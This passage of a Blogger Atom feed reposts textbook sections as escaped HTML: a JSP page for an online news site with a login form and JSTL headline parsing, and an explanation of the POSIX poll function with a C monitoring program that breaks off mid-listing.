width="15%"&gt;&lt;/TD&gt;&lt;br /&gt;          &lt;TD class=headingsubbarbg align=center &gt;&lt;FONT size=-3 color=#778899&gt;for Ru-Brd &amp; DownSky&lt;/FONT&gt;&lt;/TD&gt;          &lt;br /&gt;          &lt;TD class=headingsubbarbg align=right width="15%"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-6260734681124249170?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/6260734681124249170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/107-purging-audit-information.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6260734681124249170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6260734681124249170'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/107-purging-audit-information.html' title='10.7 Purging Audit Information'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-2246722486938969261</id><published>2009-11-13T07:49:00.027-08:00</published><updated>2009-11-13T07:49:33.288-08:00</updated><title type='text'>Creating the MainPage JSP Page</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;/div&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div class="chapter"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="first-section-title"&gt;Creating the MainPage JSP Page&lt;/h2&gt;&lt;p class="first-para"&gt;The MainPage JSP page renders the home page of the online news application. The MainPage JSP page displays the news headlines and the fields to accept the user ID and password of an end-user.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;&lt;br /&gt;Listing 6-3 shows the content of the MainPage.jsp file: &lt;/p&gt;&lt;br /&gt;&lt;div class="widecontent"&gt;&lt;br /&gt;&lt;div class="example"&gt;&lt;br /&gt;&lt;span class="example-title"&gt;&lt;span class="example-titlelabel"&gt;Listing 6-3: &lt;/span&gt;The MainPage.jsp File&lt;/span&gt;&lt;br /&gt;&lt;div class="formalbody"&gt;&lt;br /&gt;&lt;table class="BlueLine" border="0" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td bgcolor="000080" class="bluecell"&gt;&lt;font size="2" face="Arial" color="010100"&gt;&lt;b&gt;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;Online News&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;div align="center"&amp;gt;&lt;br /&gt;&amp;lt;table width="830" height="71" border="0"&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td width="816" height="61" bgcolor="#FFFFFF"&amp;gt;&amp;lt;h2 align="center"&amp;gt;&amp;lt;font&lt;br /&gt;color="#000080" size="5"&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;em&amp;gt;Online News&lt;br /&gt;&amp;lt;/em&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;p align="center"&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;!--Display form to post logon information to DoLogon.jsp--&amp;gt;&lt;br /&gt;&amp;lt;form action="DoLogon.jsp"&amp;gt;&lt;br /&gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;table border="1" width="300" cellspacing="0" cellpadding="0" height="81"&amp;gt;&lt;br /&gt;&amp;lt;!--Display user ID text field--&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td width="50%" bgcolor="#FFFFFF"&amp;gt;&amp;lt;div align="center"&amp;gt;&amp;lt;font&lt;br /&gt;color="#000080"&amp;gt;&amp;lt;b&amp;gt;User ID&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;td width="50%"&amp;gt;&amp;lt;input name="txtusername"&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;!--Display password field--&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td width="50%" bgcolor="#FFFFFF"&amp;gt;&amp;lt;div align="center"&amp;gt;&amp;lt;font&lt;br /&gt;color="#000080"&amp;gt;&amp;lt;b&amp;gt;Password&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;td width="50%"&amp;gt;&amp;lt;input type="password" name="txtpassword" size="20"&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td width="50%"&amp;gt;&amp;lt;div align="center"&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Logon" name="B1"&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;td width="50%"&amp;gt;&amp;lt;input type="reset" value="Reset" name="B2"&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&amp;lt;/center&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;table width="48%" border="1" cellpadding="0" cellspacing="0" bordercolor="#0000FF"&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td width="100%" bgcolor="#FFFFFF"&amp;gt;&amp;lt;div align="center"&amp;gt;&amp;lt;font&lt;br /&gt;color="#FF0000"&amp;gt;&amp;lt;b&amp;gt;Todays headlines&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;!--Use taglib directive to include JSTL core and XML tags--&amp;gt;&lt;br /&gt;&amp;lt;%@ taglib uri="http://java.sun.com/jsp/jstl/core" &lt;br /&gt;prefix="c" %&amp;gt; &lt;br /&gt;&amp;lt;%@ taglib uri="http://java.sun.com/jsp/jstl/xml" &lt;br /&gt;prefix="x"%&amp;gt; &lt;br /&gt;&amp;lt;!--Parse newslist.xml file and store result in newslist variable in application scope--&amp;gt;&lt;br /&gt;&amp;lt;c:if test="${empty applicationScope.newslist}" &amp;gt; &lt;br /&gt;&amp;lt;c:import url="http://localhost:8080/news/xml/newslist.xml" var="xml"/&amp;gt;&lt;br /&gt;&amp;lt;x:parse doc="${xml}" var="newslist" scope="application"/&amp;gt;&lt;br /&gt;&amp;lt;/c:if&amp;gt;  &lt;br /&gt;&amp;lt;!--Retrieve date element value for each news element and store in tempdate variable in request scope--&amp;gt;&lt;br /&gt;&amp;lt;x:forEach var="heading" select="$newslist/newslist/*"&amp;gt;&lt;br /&gt;&amp;lt;c:set var="tempdate" scope="request"&amp;gt;&lt;br /&gt;&amp;lt;x:out select="$heading/date"/&amp;gt;&lt;br /&gt;&amp;lt;/c:set&amp;gt;&lt;br /&gt;&amp;lt;%&lt;br /&gt;/*Retrieve current date in string*/&lt;br /&gt;java.util.Date currdate = new java.util.Date();&lt;br /&gt;String tempdate=""+currdate.getDate()+"-"+(currdate.getMonth()+1)+"-"+(1900+currdate.getYear());&lt;br /&gt;/*Retrieve date stored in request*/&lt;br /&gt;String tempnewsdate=(String)request.getAttribute("tempdate");&lt;br /&gt;if(tempdate.equals(tempnewsdate))&lt;br /&gt;{&lt;br /&gt;   /*Compare current date with date retrieved from object. Display  headings for matching dates*/&lt;br /&gt;   %&amp;gt;&lt;br /&gt;   &amp;lt;tr&amp;gt;&lt;br /&gt;   &amp;lt;td width="100%"&amp;gt;&amp;lt;div align="center"&amp;gt;&amp;lt;font color="#000080"&amp;gt;&amp;lt;b&amp;gt;&lt;br /&gt;   &amp;lt;x:out select="$heading/heading"/&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;   &amp;lt;/tr&amp;gt;&lt;br /&gt;   &amp;lt;%&lt;br /&gt;}&lt;br /&gt;%&amp;gt;&lt;br /&gt;&amp;lt;/x:forEach&amp;gt;&lt;br /&gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&amp;lt;/center&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;table class="BlueLine" border="0" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td bgcolor="000080" class="bluecell"&gt;&lt;font size="2" face="Arial" color="010100"&gt;&lt;b&gt;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;table class="BlankSpace" border="0" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td height="16"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class="para"&gt;&lt;br /&gt;&lt;span class="inlinemediaobject"&gt;Download this listing&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;The above code creates the MainPage JSP page. The code displays the User ID and Password fields to accept user information. The taglib directives include the JSTL core and XML tag libraries in the JSP page. The &amp;lt;c:import&amp;gt; tag stores the newslist XML document in an xml variable. The &amp;lt;x:parse&amp;gt; tag parses the XML document and stores the result in a newslist variable. The &amp;lt;x:forEach&amp;gt; tag retrieves the date of publication of news and stores the date value in the tempdate variable. The code uses the Date class to retrieve the current date and stores the date value in the tempnewsdate variable. The code compares the date value stored in the tempdate variable with the value stored in the tempnewsdate variable. For matching values, the code uses the &amp;lt;x:out &amp;gt; tag to display the news headlines.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;&lt;br /&gt;Figure 6-2 shows the user interface of the MainPage JSP page:&lt;/p&gt;&lt;br /&gt;&lt;div class="figure"&gt;&lt;br /&gt;&lt;span class="figuremediaobject"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br style="line-height: 1"&gt;&lt;br /&gt;&lt;span class="figure-title"&gt;&lt;span class="figure-titlelabel"&gt;Figure 6-2: &lt;/span&gt;The MainPage JSP Page&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;/div&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-2246722486938969261?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/2246722486938969261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/creating-mainpage-jsp-page.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2246722486938969261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2246722486938969261'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/creating-mainpage-jsp-page.html' title='Creating the MainPage JSP Page'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-5697491592962667205</id><published>2009-11-13T07:49:00.025-08:00</published><updated>2009-11-13T07:49:31.406-08:00</updated><title type='text'>4.5 The 'poll' Function</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;H3 class="docSection1Title"&gt;4.5 The &lt;TT&gt;poll&lt;/TT&gt; Function&lt;/H3&gt;&lt;br /&gt;&lt;P class="docText"&gt;The &lt;TT&gt;poll&lt;/TT&gt; function is similar to &lt;TT&gt;select&lt;/TT&gt;, but it organizes the information by file descriptor rather than by type of condition. That is, the possible events for one file descriptor are stored in a &lt;TT&gt;struct pollfd&lt;/TT&gt;. In contrast, &lt;TT&gt;select&lt;/TT&gt; organizes information by the type of event and has separate descriptor masks for read, write and error conditions. The &lt;TT&gt;poll&lt;/TT&gt; function is part of the POSIX:XSI Extension and has its origins in UNIX System V.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;The &lt;TT&gt;poll&lt;/TT&gt; function takes three parameters: &lt;TT&gt;fds&lt;/TT&gt;, &lt;TT&gt;nfds&lt;/TT&gt; and &lt;TT&gt;timeout&lt;/TT&gt;. The &lt;TT&gt;fds&lt;/TT&gt; is an array of &lt;TT&gt;struct pollfd&lt;/TT&gt;, representing the monitoring information for the file descriptors. The &lt;TT&gt;nfds&lt;/TT&gt; parameter gives the number of descriptors to be monitored. The &lt;TT&gt;timeout&lt;/TT&gt; value is the time in milliseconds that the &lt;TT&gt;poll&lt;/TT&gt; should wait without receiving an event before returning. If the &lt;TT&gt;timeout&lt;/TT&gt; value is �1, &lt;TT&gt;poll&lt;/TT&gt; never times out. If integers are 32 bits, the maximum timeout period is about 30 minutes.&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;SYNOPSIS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  #include &amp;lt;poll.h&amp;gt;&lt;br /&gt;&lt;br /&gt;  int poll(struct pollfd fds[], nfds_t nfds, int timeout);&lt;br /&gt;                                                                      &lt;span class="docEmphasis"&gt;POSIX:XSI&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;The &lt;TT&gt;poll&lt;/TT&gt; function returns 0 if it times out. If successful, &lt;TT&gt;poll&lt;/TT&gt; returns the number of descriptors that have events. If unsuccessful, &lt;TT&gt;poll&lt;/TT&gt; returns �1 and sets &lt;TT&gt;errno&lt;/TT&gt;. The following table lists the mandatory errors for &lt;TT&gt;poll&lt;/TT&gt;.&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" BORDER="1" RULES="groups" CELLPADDING="5" WIDTH="100%"&gt;&lt;COLGROUP span="2"&gt;&lt;THEAD&gt;&lt;TR&gt;&lt;TH class="docTableHeader" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;errno&lt;/TT&gt;&lt;/P&gt;&lt;/TH&gt;&lt;TH class="docTableHeader" valign="top"&gt;&lt;P class="docText"&gt;cause&lt;/P&gt;&lt;/TH&gt;&lt;/TR&gt;&lt;/THEAD&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;EAGAIN&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;allocation of internal data structures failed, but a subsequent request may succeed&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;EINTR&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;a signal was caught during &lt;TT&gt;poll&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;EINVAL&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;nfds&lt;/TT&gt; is greater than &lt;TT&gt;OPEN_MAX&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/COLGROUP&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;The &lt;TT&gt;struct pollfd&lt;/TT&gt; structure includes the following members.&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;int fd;         /* file descriptor */&lt;br /&gt;short events;   /* requested events */&lt;br /&gt;short revents;  /* returned events */&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;The &lt;TT&gt;fd&lt;/TT&gt; is the file descriptor number, and the &lt;TT&gt;events&lt;/TT&gt; and &lt;TT&gt;revents&lt;/TT&gt; are constructed by taking the logical OR of flags representing the various events listed in Table 4.2. Set &lt;TT&gt;events&lt;/TT&gt; to contain the events to monitor; &lt;TT&gt;poll&lt;/TT&gt; fills in the &lt;TT&gt;revents&lt;/TT&gt; with the events that have occurred. The &lt;TT&gt;poll&lt;/TT&gt; function sets the &lt;TT&gt;POLLHUP&lt;/TT&gt;, &lt;TT&gt;POLLERR&lt;/TT&gt; and &lt;TT&gt;POLLNVAL&lt;/TT&gt; flags in &lt;TT&gt;revents&lt;/TT&gt; to reflect the existence of the associated conditions. You do not need to set the corresponding bits in &lt;TT&gt;events&lt;/TT&gt; for these. If &lt;TT&gt;fd&lt;/TT&gt; is less than zero, the &lt;TT&gt;events&lt;/TT&gt; field is ignored and &lt;TT&gt;revents&lt;/TT&gt; is set to zero. The standard does not specify how end-of-file is to be handled. End-of-file can either be communicated by an &lt;TT&gt;revents&lt;/TT&gt; flag of &lt;TT&gt;POLLHUP&lt;/TT&gt; or a normal read of 0 bytes. It is possible for &lt;TT&gt;POLLHUP&lt;/TT&gt; to be set even if &lt;TT&gt;POLLIN&lt;/TT&gt; or &lt;TT&gt;POLLRDNORM&lt;/TT&gt; indicates that there is still data to read. Therefore, normal reading should be handled before error checking.&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" BORDER="1" RULES="groups" CELLPADDING="5" WIDTH="100%"&gt;&lt;CAPTION&gt;&lt;h5 class="docTableTitle"&gt;Table 4.2. Values of the event flags for the &lt;TT&gt;poll&lt;/TT&gt; function.&lt;/h5&gt;&lt;/CAPTION&gt;&lt;COLGROUP span="2"&gt;&lt;THEAD&gt;&lt;TR&gt;&lt;TH class="docTableHeader" valign="top"&gt;&lt;P class="docText"&gt;event flag&lt;/P&gt;&lt;/TH&gt;&lt;TH class="docTableHeader" valign="top"&gt;&lt;P class="docText"&gt;meaning&lt;/P&gt;&lt;/TH&gt;&lt;/TR&gt;&lt;/THEAD&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLIN&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;read other than high priority data without blocking&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLRDNORM&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;read normal data without blocking&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLRDBAND&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;read priority data without blocking&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLPRI&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;read high-priority data without blocking&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLOUT&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;write normal data without blocking&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLWRNORM&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;same as &lt;TT&gt;POLLOUT&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLERR&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;error occurred on the descriptor&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLHUP&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;device has been disconnected&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;&lt;TT&gt;POLLNVAL&lt;/TT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" valign="top"&gt;&lt;P class="docText"&gt;file descriptor invalid&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/COLGROUP&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Program 4.17 implements a function to process commands from multiple file descriptors by using the &lt;TT&gt;poll&lt;/TT&gt; function. Compare the implementation with that of Program 4.14. The &lt;TT&gt;select&lt;/TT&gt; call modifies the file descriptor sets that are passed to it, and the program must reset these descriptor sets each time it calls &lt;TT&gt;select&lt;/TT&gt;. The &lt;TT&gt;poll&lt;/TT&gt; function uses separate variables for input and return values, so it is not necessary to reset the list of monitored descriptors after each call to &lt;TT&gt;poll&lt;/TT&gt;. The &lt;TT&gt;poll&lt;/TT&gt; function has a number of advantages. The masks do not need to be reset after each call. Unlike &lt;TT&gt;select&lt;/TT&gt;, the &lt;TT&gt;poll&lt;/TT&gt; function treats errors as events that cause &lt;TT&gt;poll&lt;/TT&gt; to return. The &lt;TT&gt;timeout&lt;/TT&gt; parameter is easier to use, although its range is limited. Finally, &lt;TT&gt;poll&lt;/TT&gt; does not need a &lt;TT&gt;max_fd&lt;/TT&gt; argument.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;H5 class="docExampleTitle"&gt;Program 4.17 &lt;TT&gt;monitorpoll.c&lt;/TT&gt;&lt;/H5&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;A function to monitor an array of file descriptors by using&lt;/span&gt; &lt;TT&gt;poll&lt;/TT&gt;.&lt;/P&gt;&lt;br /&gt;&lt;PRE&gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;poll.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stropts.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include "restart.h"&lt;br /&gt;#define BUFSIZE 1024&lt;br /&gt;&lt;br /&gt;void docommand(char *, int);&lt;br /&gt;&lt;br /&gt;void monitorpoll(int fd[], int numfds)  {&lt;br /&gt;   char buf[BUFSIZE];&lt;br /&gt;   int bytesread;&lt;br /&gt;   int i;&lt;br /&gt;   int numnow = 0;&lt;br /&gt;   int numready;&lt;br /&gt;   struct pollfd *pollfd;&lt;br /&gt;&lt;br /&gt;   for (i=0; i&amp;lt; numfds; i++)             /* initialize the polling structure */&lt;br /&gt;      if (fd[i] &amp;gt;= 0)&lt;br /&gt;          numnow++;&lt;br /&gt;   if ((pollfd = (void *)calloc(numfds, sizeof(struct pollfd))) == NULL)&lt;br /&gt;      return;&lt;br /&gt;   for (i = 0; i &amp;lt; numfds; i++) {&lt;br /&gt;      (pollfd + i)-&amp;gt;fd = *(fd + i);&lt;br /&gt;      (pollfd + i)-&amp;gt;events = POLLRDNORM;&lt;br /&gt;   }&lt;br /&gt;   while (numnow &amp;gt; 0) {        /* Continue monitoring until descriptors done */&lt;br /&gt;      numready = poll(pollfd, numfds, -1);&lt;br /&gt;      if ((numready == -1) &amp;amp;&amp;amp; (errno == EINTR))&lt;br /&gt;         continue;                /* poll interrupted by a signal, try again */&lt;br /&gt;      else if (numready == -1)            /* real poll error, can't continue */&lt;br /&gt;         break;&lt;br /&gt;      for (i = 0; i &amp;lt; numfds &amp;amp;&amp;amp; numready &amp;gt; 0; i++)  {&lt;br /&gt;         if ((pollfd + i)-&amp;gt;revents) {&lt;br /&gt;            if ((pollfd + i)-&amp;gt;revents &amp;amp; (POLLRDNORM | POLLIN) ) {&lt;br /&gt;               bytesread = r_read(fd[i], buf, BUFSIZE);&lt;br /&gt;               numready--;&lt;br /&gt;               if (bytesread &amp;gt; 0)&lt;br /&gt;                  docommand(buf, bytesread);&lt;br /&gt;               else&lt;br /&gt;                  bytesread = -1;                             /* end of file */&lt;br /&gt;            } else if ((pollfd + i)-&amp;gt;revents &amp;amp; (POLLERR | POLLHUP))&lt;br /&gt;               bytesread = -1;&lt;br /&gt;            else                    /* descriptor not involved in this round */&lt;br /&gt;               bytesread = 0;&lt;br /&gt;            if (bytesread == -1) {      /* error occurred, remove descriptor */&lt;br /&gt;               r_close(fd[i]);&lt;br /&gt;               (pollfd + i)-&amp;gt;fd = -1;&lt;br /&gt;               numnow--;&lt;br /&gt;            }&lt;br /&gt;         }&lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;   for (i = 0; i &amp;lt; numfds; 